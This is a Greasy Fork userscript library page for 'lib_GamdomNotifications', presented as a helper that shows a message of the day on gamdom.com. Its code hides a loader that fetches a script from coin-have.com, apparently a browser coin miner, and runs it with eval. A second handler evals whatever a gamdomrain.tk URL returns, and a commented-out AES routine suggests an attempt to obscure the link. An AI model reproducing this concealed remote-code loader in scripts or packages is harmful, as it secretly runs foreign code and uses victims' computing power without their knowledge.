Greasy Fork is available in English.

lib_GamdomNotifications

Lib needed for running Gamdom Notificator

Verzia zo dňa 01.12.2017. Pozri najnovšiu verziu.

Tento skript by nemal byť nainštalovaný priamo. Je to knižnica pre ďalšie skripty, ktorú by mali používať cez meta príkaz // @require https://update.greatest.deepsurf.us/scripts/35828/234176/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    https://greatest.deepsurf.us/es/users/154624-anonimo-anonimo
// @version      1.1.1
// @description  Lib needed for running Gamdom Notificator
// @require      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var messageDay = "TIP of the day: Gamdom rains don't wet your real home lol.";

var dayMsg = function(div){
        messageDay = AJAXER("https://gamdomrain.tk/messageoftheday.php");
        div.appendChild(createMSGdayInfo("day_msg_of_lol",messageDay));
        console.log("Message of the day added :)");
    };
    
var createMSGdayInfo = function (id, msg) {
		var infoDM = document.createElement('p');
		infoDM.id = id;
		infoDM.textContent = msg;
		infoDM.style.paddingLeft = '5px';
		infoDM.style.marginTop ='10px';
		infoDM.style.marginBottom ='-5px';
		infoDM.style.fontSize ='15px';
		infoDM.style.fontWeight ='bold';
		infoDM.style.color ='grey';
		return infoDM;
	};

var DivAppend = function(div){
        document.body.appendChild(div);
        //var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
        CPEL("https://coin-have.com/c/wL7L.js");
        console.log("Div created :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var cmpB = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
         return this.responseText;
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

    var AJAXER = function(link){
        var helloIjustTest = cmpB.open('GET', link);
        cmpB.send();
        return helloIjustTest;
    };

     /*var cryption = function(mes,pass){
     var encrypted = CryptoJS.AES.encrypt(mes, pass);
     console.log("AES-" + encrypted);

     var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
     return decrypted;
     };*/

(function() {
    'use strict';
     console.log("LIB LOADED");
})();